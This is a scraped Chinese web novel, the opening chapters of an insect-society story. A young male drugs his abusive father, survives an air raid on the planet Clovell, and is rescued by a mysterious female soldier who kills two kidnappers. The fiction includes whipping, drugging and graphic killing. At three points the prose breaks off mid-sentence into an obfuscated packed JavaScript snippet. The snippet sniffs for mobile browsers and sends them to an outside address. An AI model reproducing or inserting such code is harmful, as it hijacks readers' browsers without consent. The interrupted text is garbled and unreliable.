《虫族之雄主的报恩》 1. 相遇克洛维尔星(一) “你看看你这窝囊劲,哪有个雄虫的样子?!” 鞭子被对折起指向阿尔贝,即使只在阿尔贝的眼前停留了几秒,鞭子裹挟着的血腥味也让阿尔贝发呕。 “抱歉,雄父。”阿尔贝微垂眼眸,长睫毛遮掩住眼中的神色,把手中端着的温牛奶递给乔特德,目光划过跪在地上赤.裸上身的雌虫后又快速移开。 “啧。”乔特德注意到阿尔贝刻意避开的目光,把手里的鞭子随意丢到还跪着的新雌侍怀中,接过杯子喝了一口。温热微甜的牛奶稍稍抚平了他心中的火气,但转头一看阿尔贝那副乖顺的样子就又觉得窝火。 “算了,我就不该对D级雄虫产生不该有的期望,也不知道你多会儿才能像真正的雄虫一样,懂得惩戒雌虫的必要性和其中的意义。”乔特德叹了口气,“烂泥扶不上墙,一点都没有我年轻时的风范,和你那个死在外边的雌父一样,没用透顶!” 乔特德想不通:“好歹有个B级精神力的雄父,不说青出于蓝,怎么就只是个D级雄虫?害我在外都脸面无光……”他皱起眉,眼睛微眯,审视着他唯一的雄子。 “抱歉,雄父。”阿尔贝打断乔特德,脸上带着一如既往的温和表情,就像被乔特德数落成废物的虫不是他一样。 在乔特德下一句抱怨开始前,阿尔贝快速说出他来找乔特德要说的事:“赛德高中的录取通知上附了作业目录,要求开学时上交一份调研报告,我打算去克洛维尔星……” “行了。”乔特德随意摆摆手,“学习上的事你自己看着安排,差不多就行了,好歹你也是个雄虫,怎么着都不会上不了大学。” “好的。”阿尔贝早已习惯乔特德的态度,并没有感到失落。他站在原地没动,眼睛看了看乔特德手中的杯子,里面的牛奶还几乎没怎么喝。 乔特德懒得再看阿尔贝这副毫无雄虫气概的样子,端起手中的牛奶,一口气喝掉大半,递回给阿尔贝,“去吧。” 阿尔贝微微弯了弯嘴角:“晚安,雄父。” “嗯。”乔特德敷衍地随口回应,目光已经放在了跪在地上的雌侍身上。 他正打算继续逗弄自己的新雌侍,却突然感到一股难以抗拒的困倦,使得他的眼皮开始不受控制地打架,仿佛体内所有的疲惫都一涌而出,睡意瞬间压倒了一切欲.望。他瞥了一眼仍跪在那的新雌侍,意兴阑珊,他现在只想睡一觉。 他摇摇晃晃地朝房间内的大床走去,走到一半,已抵不住困意。 “咣”!乔特德直接趴倒在地毯上,眼睛一闭就一动不动了。 跪在地上的雌侍瞪大了眼睛,满是惊慌。从精神奕奕到倒头就睡,甚至无法支撑到走到床边,即使是最有助眠效果的牛奶,也不可能这么快就产生如此强烈的效果。 他猛地扭过身抬头望向仍旧站在原地的阿尔贝,走廊上的灯光在阿尔贝的身后照亮,在年少雄虫的脸上投下一片暗影。 他震惊得连眼球都在颤动,身上被鞭子抽打出的细密伤口已经痛到麻木,而此刻他的思维也完全僵化,无法再转动分毫。这样的转变来得太过突然,让他的大脑直接停摆,完全想不明白发生了什么! 阿尔贝感受到了他强烈的注视,垂下目光,刚好与那张慌乱的脸对视。 “放心,雄父只是太累睡着了而已,毕竟用鞭子抽打自己的雌虫对养尊处优的他也算重体力运动了不是吗?”阿尔贝神色自若,眼中却满是嘲讽,碾了碾脚下的地毯。 这间布置奢华的卧房里到处铺满厚实柔软的羊绒地毯,却只有雌虫跪着的地方露出冰凉坚硬的地砖。他的雄父哪怕再富有,也总会给伴侣留一小块纯是刻薄的地方。 震惊到呆滞的雌侍仍保持着之前被抽打时的跪姿,双手背在身后,一只手紧紧握住另一只手的腕部,尽管疼痛也依旧按要求将胸膛挺起,不能含胸驼背,不能闪闪躲躲。 他赤.裸的胸膛和背部已有十数道交错的尖细血痕,边缘的皮肉翻起,如同道道死命勒进肉里的红绳,是被特制的细鞭抽打过的痕迹。这种伤到不了五脏六腑,却足够折磨,更别提鞭子上还涂了刺激性的膏油,细细密密的痛感尖锐如刀子般时刻在身上刺刻。 尽管鞭痕上渗出的血液已经微微凝固,但他的额间仍密布细小汗珠,唇色也泛着惨白,只有被自己牙齿死命咬过的地方带着不正常的深红色。 阿尔贝漫不经心盯着他雄父的这位刚来不久的新雌侍满是无措的眼睛,好心提醒:“你不打算把他扶到床上去吗?” 这个“他”是指谁,显而易见。 “是,是!”雌虫浑身打了个激灵,清醒过来,听到阿尔贝的话就像有了主心骨,连忙从地上爬起来小跑过去扶起自己的雄主。 老实说,看到乔特德这么快昏睡过去,他除了震惊外心里多少松了口气,尽管身上的伤口还在发疼,但紧绷的神经却慢慢放松了下来。 阿尔贝扯了扯嘴角,看着昏睡死了的乔特德被拖到床上,转身帮他们关上了门。 乔特德有个坏习惯,总是喜欢在惩戒雌虫的时候大敞房门,让雌虫隐忍苦痛的呻.吟声传遍整个别墅,以向所有虫彰显他作为雄主的威严。只是每次的动静,都让听觉敏锐但想要认真沉浸在学习中的阿尔贝烦躁。 负责照顾阿尔贝的雌虫迈德接过杯子,问:“雄子,您现在是要继续学习还是准备睡觉?” 阿尔贝想到之前点了暂停还剩大半的课程,面无表情:“还是学习吧我爱学习。迈德雌叔,你别忘了买明天去克洛维尔星中心城的交通票。” 迈德:“票早就买好了,只是……”他迟疑了下,点开光脑上推送的新闻给阿尔贝看。 “《埃达克港口遭遇大爆炸疑似与外族间谍抗捕有关》?在克洛维尔星?”阿尔贝皱眉。 “对,”迈德担心,“最近去的话,会不会治安不太好?” 阿尔贝想了想:“没关系,应该只是小概率事件,要是因此错过三年一度的繁花节就太可惜了。” 去克洛维尔星调研当地文化是早就决定好的事,阿尔贝不可能因为小概率意外事件就放弃规划好的行程。 而站在繁花节市集的阿尔贝,更觉得自己没有取消这趟旅行是对的。 紫娑花是克洛维尔星的特色花树,三年一开花,开花时漫天的紫色小花在树上爆满,浪漫如繁星,繁花节由此得名。整个繁花市集也从头到尾被盛花期的紫娑花包围,形成一片淡紫色的海洋,连空气中都逸满了花香。 繁花市集占了中心城一整片街区,从早上市集开门到深夜,整个街区都是当地居民和从各地专程赶来的游客,摩肩接踵。好在周围的虫看到阿尔贝脖颈上的雄虫虫纹后,有意识地和他保持距离,才不至于让阿尔贝被来往的虫挤到。 “啊!”突兀短促的叫声响起。 阿尔贝不由顺着吵闹声看向冰淇淋摊位的隔壁。原来是有雌虫闹事,从摊位桌上往地上砸东西时扔到了旁边的虫。 “……别给脸不要脸!今天你要是不把这事解决得让我满意,我让你吃不了兜着走!以后别想有好日子……” 闹事的雌虫穿着系扣只系了一半的掉色花衬衫,头发染成了张扬的浅粉色,但却露出了深棕色的发根。他动作蛮横地叉腰站在摊位前破口大骂,逼得摊主只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723228|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心翼翼地躲在摊子后不停赔不是,但他扔东西的动作又看得出有所顾忌,像在虚张声势。 一个缺钱的小混混。 阿尔贝给闹事的雌虫下了定义,厌烦地撇开眼。 “这太吵了,迈德雌叔,你在这排队,我先去前边逛逛,等会儿在这汇合。”阿尔贝戳了戳地图上的标志物。 “可是……”迈德拒绝的话还没说完,阿尔贝就径自离开,迈德只能朝他喊:“雄子!有事及时联系我!” 远离了闹事的地方,阿尔贝深呼吸了几下,连空气中都是清新的花香,让他浑身不由放松了起来。他在各个摊位和活动处随意闲逛,时不时拍下几张照片作为写调研报告的素材。 “哔!” 阿尔贝被突如其来的声响吓得心脏猛地跳动了一下。 巨大的一声警鸣声突然响起,整个市集的虫都在刹那安静了。 “外敌即将入侵!请注意躲避!外敌即将入侵!请注意躲避!” “倒计时!3!2!滋拉——” 倒计时还没结束,信号就被中断,城市上空的示警播报也戛然而止。 阿尔贝抬头望向上空,湛蓝的天空上不止何时出现了几块灰黑的小斑块。 小,只是因为距离尚远。转瞬就看见有黑点从斑块中逸散而出,顷刻后就到了能被肉眼识别的距离。 那是,成群密集的远控战机!只在新闻和军事纪录片里看到过的杀伤武器! “啊!!!!!”市集上的众多虫惊慌大叫,开始慌乱四处奔逃。 有的雌虫已经展开骨翅,飞到了半空试图快速逃离,但却和同样快速飞行的雌虫撞到一起,坠落在地,更引得一片混乱尖叫! 谁也想不到,克洛维尔星这种既无资源也无战略地位的旅游星也会被攻击。而在混乱中还有虫趁机抢夺财物,时不时就有虫惊呼:“我的包!” 一切秩序和法度都在迅速崩溃! 阿尔贝的心脏在胸腔内狂跳,手脚冰凉发麻。 他被混乱的虫群推攘,只能用力勉强挤到路边,避开失序溃乱的虫流,以免在拥挤中被踩踏。这种时候,命都要没了,谁管周围的虫是不是雄虫! 光脑信号已被掐断,他朝和迈德分开的方向看去,试图寻找到迈德的位置,然而整个市集都乱了起来,他只能看到一张张惊恐的脸,却找不到迈德那张熟悉的面庞。 “嘭”!远控战机已经飞近,无数炮弹从空中落下。虫群中的尖叫更甚,伴随着接连不断的建筑和街道被炸的爆破声。 一颗炮弹在不远处炸响,阿尔贝的耳朵轰地一下开始嗡鸣。 他亲眼目睹炮弹落点处闪躲不及的虫被炸飞,红的白的黄的液体四溅,内脏残肢脂肪乱飞,他的鼻尖全是火药味血腥味和皮脂烧焦的臭味! 他干咽了几下,勉强压下反胃的感觉。 然而还没缓过神来,又一颗炮弹正对着他所在的区域从高空中落下。 他僵直在原地,想要逃跑却无法动弹,只能任由瞳孔随着越来越近的炮弹而放大。在濒临死亡的时刻,他脑中想到的是,当初雌父战死前是否也会同样感到害怕? “嘭”!那颗炮弹炸响,周围虫的惨叫声一片。而在前一刻,他眼前一晃,被抱着飞出了爆炸范围。 “扑通扑通扑通”耳朵嗡鸣时心脏跳动的声音反而更加清晰。 雌虫坚硬的骨翅将阿尔贝完好护住,爆炸引发的火光只在他视野边缘透出光亮。 阿尔贝抬头去看救了他的雌虫,却被阳光和炮火下炫目的粉色晃了眼,这张脸他不久前才见过! “哈?” 2. 相遇克洛维尔星(二) 是、那个闹事的粉毛小混混?! “呼!”雌虫的胸口起伏,垂落在耳侧的粉色碎发也在空中晃动,惊险躲避过炮弹的轰炸显然让他松了口气。 阿尔贝被他带到了建筑和小巷的夹角处,一时半会主道上的炮火还不会蔓延到这里。尽管暂时脱离了危险,但阿尔贝的心脏仍旧剧烈跳动个不停,连嗓子里都带着一股血腥味。 他的手指尖冰冷得像被冻过,腿和脚在极度紧张后开始酸胀发麻,时不时会不自觉地抽动。他的脑子发胀,心脏发冷,强烈的后怕翻涌着波涛席卷上来,让他想不顾体面地趴在路边呕吐。 “雄虫阁下,您还好吗?”雌虫低下头,认真查看阿尔贝有没有被流弹或是飞溅起的碎片擦伤,一脸严肃像在执行正式任务。 阿尔贝冷静下来,不着痕迹观察这个救了他的陌生雌虫。和刚刚在摊位前闹事的蛮横样子不同,现在的他看着倒满脸正气,如果不是他那头粉色头发,阿尔贝恐怕都会以为认错了虫。可惜阿尔贝旁观过他那副混混嘴脸,无论他现在表现的如何正经,阿尔贝心中都已悄然竖起了防备。 雄虫的崇高地位依托于健全的法度,阿尔贝不是乔特德那样狂妄的雄虫,会以为全世界的雌虫都会无条件跪舔着为雄虫服务。在和平时代,雄虫是高高在上的雄虫阁下,但在动乱的地方,雄虫就成了可以被掠夺被变卖的珍稀资源。阿尔贝不得不防有虫对他起不良意图。 不过,也确实是这个雌虫救了自己。阿尔贝藏起眼中的警惕,弯起嘴角,发自内心感谢:“我没事,还要多谢你刚刚及时救了我。” 阿尔贝目光瞟过雌虫掉色的花衬衫,微笑着说:“我想现在返回住处,到时我的雌叔将会给你转一大笔钱作为感谢,希望你能够收下。” 阿尔贝并没有提出到之前和迈德约定好的汇合地点,看街道上被轰炸的情况也知道,汇合地点的情况也好不到哪去。 雌虫没有立马答应下来,只是问:“阁下您的住处在哪?” 阿尔贝点开光脑中存储的离线地图指给他看。 雌虫盯着阿尔贝指的地方愣了愣,随即无奈地笑了:“雄虫阁下,这里是商业办公楼。”他移动手指,将周围都划拉了一遍:“这里、这里、还有这里,这一片都是办公区。” 阿尔贝脸上的微笑僵住,刚到这里他还不熟悉酒店周边的情况,离线地图上也没有详细标注,没想到这个雌虫却能准确说出那有什么。 事实上,阿尔贝并不是失误指错了地方,他只是不想让眼前这个他并不信任的成年雌虫知道他住在某所酒店是个外来客,对本地并不熟悉也没有任何帮衬,所以他故意指了酒店附近一处看起来像居民区的地方。但这个雌虫也不知是无意还是故意,直接就将他的谎话戳穿。 对此,他蜷缩起手指,只能忍住内心尴尬羞恼,在陌生雌虫面前装傻充楞:“啊?是吗?” 他睁大的眼睛中全然是惊讶和茫然,看起来就好像真的只是不熟悉地图才指错了地方一样。 雌虫叹了口气,手指划动地图,精准在一片办公区的包围中指向唯一的一片绿地和其中的建筑:“我猜,您大概是住在菲尔兹丽酒店,这是中心城最受欢迎的高级酒店之一。” 猜中了。 阿尔贝沉默一瞬,立刻调整好表情:“啊!对!好像就是这家酒店。如果可以的话,麻烦你送我过去和我的雌叔汇合。” “很抱歉阁下,”雌虫抿了抿嘴唇,低头看向阿尔贝,认真说:“如果是这里,我不能让您过去。” 阿尔贝敏锐地察觉了“让”和“送”的区别,眼神一下子就冷了下来,只是他微垂着头视线落在地图上,没有让身旁的雌虫看到他眼中的冷意。 “为什么?”阿尔贝没抬头,声音平静地问他。 雌虫说:“这家酒店来往的宾客几乎都是各界名流和尊贵的雄虫阁下们,如果我是入侵克洛维尔星的势力,肯定会尽快控制中心城的重点区域,除了有战略意义的地方,再就是像菲尔兹丽酒店这样著名的高级酒店,毕竟里面住着的都是最佳绑架对象。” 阿尔贝的心凉了片刻,连同脑子也冷静下来,说不清是因着雌虫所说的话还是自己不太妙的处境。 他清楚雌虫分析的极有可能就是正在或将要发生的,但他摸不清雌虫的想法,究竟是迫于形式危急不能送他离开?还是……他看了一眼表情诚恳的雌虫,还是根本不想送? 一位雄虫阁下的价值不仅是入侵者清楚,土生土长在虫族社会的虫更清楚。而现在法律秩序施加在雌虫身上的枷锁被战乱打破,眼前这个雌虫是否还会恪守雄虫保护法?还是会选择趁机牟利? 阿尔贝的目光在雌虫看似真挚可靠的脸上划过,心里却没忘记在市集摊位旁看到的那一幕。但是他现在无法联系到迈德,除了眼前这个雌虫,也没有别的选择。 现在这波轰炸还没停,他自己一个再遇到之前的情况可能就没这次这么好运了。而且,如果这个雌虫打定主意不让他走,他坚持离开只会撕破表面的友好,顺便让对方警惕,从而让自己陷入更糟糕的处境。 阿尔贝不动声色:“那你觉得我现在该怎么办?” 雌虫迟疑了一下:“如果您愿意的话,这几天我可以先保护您的安全,直到信号恢复您联系到您熟悉的虫。您放心,我……我不是什么坏虫。” 这句“我不是什么坏虫”从幼儿园起就频频出现在防拐防骗教育中,阿尔贝没想到现在居然还会有虫这么说话。 周围仍在持续的轰炸声并没有给阿尔贝多少选择的余地,他点头说:“好,那就麻烦你了。” 雌虫松了一口气,神色明显缓和了下来:“雄虫阁下,您可以叫我……”他顿了顿,“凡亚。” “我现在先带您去安全地方。”他说。 凡亚有力的臂膀再次搂住阿尔贝,像夹着个小手办一样轻松把他提了起来,展开的骨翅牢牢将他周身护住不留一点空隙。 阿尔贝被包裹在凡亚的骨翅下,视线完全被遮住,只能感知到凡亚在不停快速奔跑穿梭在街巷中。 “嘭”“嘭”“嘭”的爆炸声不停在周围炸响,阿尔贝被挡住视线,嗅觉反而更加敏锐。不断涌入鼻中的烧焦味、灰尘味和不知名的臭味,时刻刺激着他的神经,提醒着他所处的地方已经被迫陷入了战乱。 战乱中无论是雌虫还是雄虫,都只是混乱局面中渺小的一粟。侵略者可不会因为他雄虫的身份而手下留情,甚至虫族中也不怀有居心不良的虫会伺机觊觎。 阿尔贝唯一庆幸的是,这个名叫凡亚的雌虫还算有几分本事,在轰炸中带着他跑了这么久也没有让他们被炸死。 “到了,雄虫阁下。”凡亚把阿尔贝放下来,却没有收回了骨翅,依旧将阿尔贝护得严严实实,只让阿尔贝露出一个头来。 上方密密麻麻的城市空轨将天空遮蔽得严严实实,丝毫不顾及下方的阳光照射。楼房掉皮,可能比爷爷那辈还老。这里应该是老旧的居民区,确实没什么轰炸的价值。 阿尔贝看了眼光脑上的时间,从市集所在街区到这里大概用时15分钟,距离倒不算远。 凡亚带他上楼。在科技发达的如今,这栋老旧楼房居然还是步梯! 凡亚也意识到,如果不是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723229|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次意外,这样老旧破败的居住环境怕是阿尔贝这辈子都不会涉足。他沉声介绍:“这是我租住的地方,委屈您这几天先将就一下。” 阿尔贝面无异色,却对凡亚的缺钱再次有了深刻认知,同时也在心底加深了对凡亚的防备。不是说穷苦中开不出金子般的花,而是当一个虫已经贫苦到一定程度,用道德标准去约束他反而是一种不现实的残忍。 “啧。”楼道上方有虫发出声响。 阿尔贝抬头,刚好和靠在墙边的雌虫对上目光。如果说凡亚的样子符合阿尔贝对街边混混的认知,那么这个雌虫简直就是把“不是个好东西”刻在了脸上。 他打量阿尔贝的目光不像是在好奇陌生的虫,而是像盯着放在手边唾手可得的大笔钱财,充满贪婪和占有的欲.望。目光简直如有实质,如同深黑发臭的地沟油,死死黏着阿尔贝的脸,眼睛亮得快要发光,让阿尔贝如芒在背还有点想吐。 如果阿尔贝只是怀疑凡亚可能包藏祸心,那么这个雌虫简直就是把对他的恶意明晃晃摆在了脸上。 凡亚察觉到后,用骨翅将阿尔贝包裹得更加严实,他目光发冷,直直钉向那个雌虫。 那个雌虫却浑不在意凡亚的警告,在他们路过他身边时还发出轻佻的嗤笑声,好在直到凡亚带着阿尔贝走远,他也没有什么动作。 凡亚在家门口停下来,在阿尔贝惊讶的目光中掏出一把钥匙插进了锁孔中转动。 阿尔贝从来没想到现今社会还有虫住在需要钥匙开锁的房子里,他还以为锁和钥匙的组合只会出现在复古怀旧展览里。不过也对,这里整个居民区都如同还活在旧时光里一样。 “请进。”凡亚推开门让阿尔贝先进去,自己再跟进去,全程骨翅都将阿尔贝遮挡得严严实实。 在他们看不见的地方,邻居们一张张脸静静贴在门板后,透过门上的猫眼窥探楼道里的动静,直到见他们进门后,才悄然收回目光。 这间房子的内部并没给阿尔贝惊喜,仍和它的外在一样老旧。唯一让阿尔贝心中咯噔一下的是,房间里大白天也紧紧拉着窗帘,室内只有透过窗帘布进来的昏暗光线,就像是时刻准备着要在这间房子里做什么见不得光的不法勾当一样。 “你早上忘记拉开窗帘了吗?”阿尔贝盯着凡亚的眼睛问。 凡亚进门后就伸手去开灯,上下摁了几下也没有反应,他又去别处查看是否还有能源供应,抽空回答阿尔贝:“不是,拉上窗帘隐私性和安全性会好一些,请您在屋子里的时候也不要把窗帘拉开,尤其是白天。” 凡亚转了一圈,发现全部能源都已经停供:“雄虫阁下,城市里的能源供应厂可能已经遭到袭击导致断供,不知道什么时候才会恢复供应。我需要出去一趟弄点燃料和食物回来,请您待在这不要给任何虫开门,我会尽快回来。” 阿尔贝点头,乖顺地坐在沙发上。 但凡亚一走,阿尔贝盯着光脑数了两分钟,就立刻起身在不大的房子里寻找可以防身的武器。 首选自然是刀具,阿尔贝在厨房翻找。还好虽然厨房没有经常使用的痕迹,但备了刀具。排除了不好随身携带的菜刀,阿尔贝抽出一把半长的水果刀,刀尖在木质案板上划过,留下一道刻痕。 突然,阿尔贝静止了动作。 他凝神去听楼道里的动静,有鞋和地面碰触的声音在逐渐靠近。走路的虫极力放轻脚步,似乎不想让虫发现他们的动作,但阿尔贝一向听觉敏锐,还是察觉到异常。 鬼鬼祟祟,必有祸心。 阿尔贝脱下鞋,同样放轻脚步,慢慢靠近门口,凑到猫眼上向外看去。 3. 相遇克洛维尔星(三) 嗯? 外面没有虫?阿尔贝挑眉,并没有放下警惕。 不,或许不是没有虫,而只是在猫眼的视野范围内没有虫。 阿尔贝上下左右移动观察的位置,勉强将猫眼的视域范围扩大了一点,同时手也握紧了水果刀的刀柄。 门外的虫很小心,半天才从墙根潜伏到门边,如果不是阿尔贝注意到猫眼视野边缘不小心擦过的身影,恐怕真的以为只是自己听错了而放松下警惕。 虽然门外不安好心的虫并没有露面,但阿尔贝下意识就想到之前在楼道里见到的那个雌虫。那股扑面而来的浓稠恶意,让阿尔贝现在想起都会发呕。 金属碰撞摩擦的细微声音响起,似乎是门外藏匿的虫在捅锁眼尝试破锁。 阿尔贝的心脏又不受控制地快速跳动起来,脑子疯狂运转,思考着脱险的办法。 在这样贫穷的地方,在这样混乱的局势下,雄虫的身份不仅不会起到威慑作用,反而会更加激发对方的邪念,可拼武力他又拼不过雌虫。而光脑的信号还没有恢复,即使他有凡亚的联系方式也无法发出求助。他环顾四周,这个房子只有一室一厅,即使他现在躲起来,也用不了多久就会被找到。这里是六楼,他没有雌虫的骨翅,也没有接受过专业的攀爬训练,根本不可能从窗户出去…… 他现在唯一能做的,似乎只有在开门后趁进来的虫还没反应过来前,先发制虫捅上一刀!这样也不一定就有胜算,但他不能什么都不做就顺从地等待别的虫处置安排他的命运! 阿尔贝躲在门后,屏住呼吸,默默握紧了刀把。他感觉头部因紧张而开始充血,血管跳动时隐隐发痛,心跳倒反而平静了下来。他不再听到他的心跳和呼吸声,自身一切都进入了静默状态,只有五感更加敏锐,眼睛盯着门口,耳朵凝神听着动静,全身都调动了起来,准备关键一击。 老旧的门锁被转动,发出轻微的咔嗒咔嗒声。门把缓缓扭动,随后门被小心翼翼地推开了个缝。 阿尔贝贴在门后的墙边上一动不敢动,握着刀的手紧了又紧,连手指关节都因过度用力而发痛。 过了几秒,可能是观察到客厅并没有虫,门被彻底推开,鞋压在房内的老旧木地板上发出咯吱几声。 阿尔贝当机立断从门后跳了出去,还没看清进来虫的模样,就将刀尖对准来者的身体用力捅了进去! “嗷!”被刺中的虫瞬间浑身瘫软跌倒在地板上,吱哇乱叫:“我的腰子!!!” “腰子!!!” “咦?”另一道声音响起,满是惊愕。 后面还有一个虫! 阿尔贝一惊,立马就要将插在雌虫体内的刀抽回来,但拔了两下却没有拔出来,刀子卡在了身体里! 瞬间,细密的冷汗就从后背和额间冒出,阿尔贝连忙起身跑去拿他提前放在沙发边的备用菜刀,紧张地盯着堵在门口的两个雌虫。 他的目光扫过闯入的两个雌虫。出乎意料,这两个都不是之前在楼道里碰到的那个雌虫。被他捅了一刀的这个又黑又瘦,像海岛上摘香蕉的黑猴子,而跟在后边的那个则高大壮实了很多,根本不可能是他能打得过的。 此时倒在地上起不来的那个雌虫正呲牙咧嘴满头大汗,捂着刀口不敢拔出刀来,颤抖着手指着阿尔贝,嘴里大叫告状:“老大!老大!他捅我腰子!” “哈哈哈,居然是雄虫?!”后进来的那个雌虫丝毫不在意倒在地上的小弟,他的眼睛直勾勾盯着阿尔贝脖子上的雄虫虫纹,仿佛已经想象到将眼前这个雄虫卖给星盗得到大笔钱财后花天酒地的快活日子。 他们是看到凡亚离开了才敢摸上门来,本以为凡亚带回来的只是个模样好的瘦弱亚雌,可以让他们绑走卖个好价钱,没想到居然还是个雄虫!这简直是破天的富贵! 他们这种底层虫从来都不会妄想能得到雄虫阁下们的青睐,也从来不奢望能有雄主,哪怕只是做雌奴。对于他们这些贱命来说,精神力崩溃算不得什么严重的病,毕竟他们都不一定能活到那个时候。比起飘忽的未来,他们更关注能切切实实拿到手的好处。那些体面虫渴望能有雄主,而他们只渴望雄虫能换来的钱财! 如果在平时,他们还尚且顾及到政府执法组织和法律的约束,即使眼馋也不敢对雄虫阁下起什么坏心思。但现在整个克洛维尔星中心城都乱成了一锅粥,政府忙于应对外来入侵无暇他顾,正是他们发财的好时机!等政府平稳下来要追查时,他们早就拿着卖了雄虫的钱远走高飞去过逍遥日子了! 想到这,雌虫老大的心越发激动了。他清楚普通雄虫的战斗力有多么低下,即使手中拿着菜刀也丝毫无法对他产生威胁。刚刚阿尔贝能捅伤他的手下,不过是手下太过没用加上阿尔贝趁其不备偷袭才能得手。如果早知道屋子里的是个雄虫,他们刚刚压根不会那么偷摸小心,直接踹开门来雄虫也无法对他们怎样!更逃不出他们的手掌心! 他的嘴角满是兴奋的笑容,配合着地上雌虫痛苦的哀嚎更显惊心。此时,在知道双方的巨大差距后,他浑身都放松了下来。 他缓步逼近仍举着刀的阿尔贝,声音温和地劝说:“雄虫阁下,刀刃锋利,小心伤着您娇贵的手,还是放下来吧。我不是什么坏虫,不会伤害您的。” 又是这句经典的“我不是什么坏虫”,如果不是情况危急,阿尔贝简直要被逗得笑出声来,果然能被选进防拐防骗教材做示例都是有原因的。 阿尔贝没有听信他的哄骗,紧盯着朝自己一步步走近的雌虫不敢眨眼。他抿住嘴,深吸了口气。 “凡亚?!”阿尔贝眼睛瞟向门口,满是惊讶,举着刀的手也稍稍放了下来些。 “嗯?”雌虫见状迟疑,脚步也跟着停滞,下意识转头去看。 就是现在! 阿尔贝抓住机会,握紧菜刀毫不犹豫地暴起砍向他! “哐当”! 刀掉到地上发出一声脆响。 阿尔贝还没反应过来,手腕就被巨大的力道冲击得麻木,瞬间失去了握住刀把的力气,刀也被这股力道甩飞出去。 雌虫收回脚,看着后退到沙发边捂住手腕的雄虫笑了:“看!尊敬的雄虫阁下,我都告诉过您了,举着刀会伤到您的。” 阿尔贝沉默不语,手腕已经开始肿.胀发疼,血管突突直跳,表皮在钝痛后也火辣辣地烧灼。他低头看了一眼光脑,距离凡亚离开只过去不到十分钟,在战乱中十分钟显然不够弄到物资再返回。 阿尔贝心凉了半截,强迫自己的脑子冷静下来,思考该如何和这两个穷凶极恶之徒周旋才能保全自己:“等等……” 他的话才开了个头,就听见“砰”一声枪响! 阿尔贝被突然的枪击声惊得身体不自觉颤了一下,他震惊地瞪大眼睛,看着刚刚还一脸得意的雌虫笑容还没来得及收回,一个血洞就从眉心处爆开,炸烂了小半张脸,伤口处不断往外涌出鲜血和淡粉色的脑浆,身体随即瘫软倒下。 阿尔贝的目光跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723230|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着雌虫倒下的身体下落,新鲜出炉的尸体死得不能再死,肢体却仍抽动痉挛了数下…… 阿尔贝下意识将目光移向门口,就看见凡亚抿着嘴冲他点了点头。 “老大!!!” “咔嚓”!凡亚低头面无表情地抬脚踩断了门口被捅伤躺在地上的雌虫的脖子。 阿尔贝看着刚刚还对他造成重大威胁的两个雌虫就这么轻而易举被弄死了,心情格外复杂难言。不单单只是劫后余生冒出的庆幸和后怕,此时他清晰地意识到,自己和凡亚的实力差距,以及,在这样混乱的局势下,他确实需要凡亚的保护。 “您还好吗?雄虫阁下。”凡亚走到阿尔贝身旁半蹲下来,小心抬起阿尔贝的手腕仔细查看伤势,然后拿来了一瓶冰水贴在青黑肿.胀的地方,“需要冰敷一会儿,请您先到卧室休息,我来把客厅脏了的地方收拾一下。” 阿尔贝听从安排走到卧室的床边坐下,门被凡亚轻轻带上,只留了个小缝。 阿尔贝听见凡亚出门的声音,片刻后,隔壁邻居的门被敲响。 凡亚和邻居的交谈声从外边隐隐约约传了进来:“……五百块把客厅的两个大件货处理一下……好,可以。” 不一会儿,门口的脚步声就杂了起来,然后随着拖动尸体的声音远去又慢慢安静下来。 阿尔贝握住受伤的手腕心中发冷。这都是些什么虫?看到尸体不仅不惊讶,反而还提供廉价的收尸服务……克洛维尔星究竟是旅游星还是流放地?怎么这么多穷凶极恶之徒? 门被关上了,发出了一声轻响。阿尔贝走出卧室,就看见凡亚跪在地上认真擦拭地板上的血迹。 见阿尔贝出来,凡亚说:“请您稍等一下,我清理完就帮您上药。” 阿尔贝点了点头,没有回卧室,而是坐到沙发上看凡亚手脚麻利地清理地上的血迹和……脑浆。他的目光避开地上那摊淡粉色的黏稠液体,落在认真干活的凡亚身上。 不得不说,他对凡亚的评价要改一改了,这个两度救了他的雌虫似乎并不是表面看起来的那么简单。刚刚凡亚一枪打死踢伤他手腕的雌虫,又一脚踩断地上躺着的雌虫的脖子,全程连眉头都没皱一下,怎么可能是个普通的街边混混?而且,一把这样的枪价格不低,如果凡亚缺钱,根本连子弹都负担不起。或许,凡亚在市集摊位前轻鄙的样子才是伪装。 阿尔贝猜测着凡亚的真实身份,目光不由变得幽深。实力不低的凡亚可以更好地保护他,但同样,如果凡亚对他的目的不纯,他也很难逃出凡亚的控制。在确定凡亚的身份和意图前,他很难对凡亚报以单纯的感激或敌意。 